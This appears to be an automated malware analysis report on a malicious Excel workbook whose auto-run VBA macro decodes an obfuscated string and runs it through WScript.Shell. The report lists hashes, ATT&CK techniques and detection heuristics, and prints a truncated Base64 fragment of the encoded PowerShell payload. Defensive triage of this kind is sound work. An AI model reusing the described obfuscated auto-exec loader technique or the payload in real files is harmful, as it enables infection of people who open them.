Office (OOXML) / .XLSX malware analysis — malicious · 7497788b450b62b6

MALICIOUS

Office (OOXML) / .XLSX

38.4 KB Created: 2021-07-28 10:39:43 UTC Authoring application: Microsoft Excel 16.0300

MD5: 1a7f20e8fb08afe5100533c784126348 SHA-1: 3a128b55a996ac8f50f0bc55bce96412f78f921e SHA-256: 7497788b450b62b606dfd79e6e11135adcdb014054ee3dd6cb406c35d437e41f

322 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is an Excel spreadsheet containing a Workbook_Open VBA macro. This macro calls an obfuscated function that appears to construct a string and then likely uses WScript.Shell to execute it. The reconstructed string 'WwBTAFkAcwB0AEUATQAuAFQAZQB4AFQALgBlAG4AQwBPAGQAaQBuAGcAXQA6ADoAdQBuAEkAQwBPAGQAaQBuAGcAXQA6ADoAZQB0AFMAVABSAEkAbgBnACgAWwBzAHkAUwB0AGUATQAuAEMATwBuAHYAZQBSAHQAXQA6ADoAZgBSAE8ATQBiAEEAcwBFADYANABzAHQAcgBpAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE' is likely a Base64 encoded command or payload. This indicates the file is designed to download and execute a second-stage payload upon opening.

Heuristics 8

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `51c0c179c6ef2ea082d5eff43034cca8e79a274fedc9a268f09dacec77a55bf5`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	5027 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 long base64-like blob(s).
`vbaProject_00.bin` `35b9175b79307ed1091ba08433c37540c7b7bcc927650be6fad8c7c39a2d6607`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 long base64-like blob(s).

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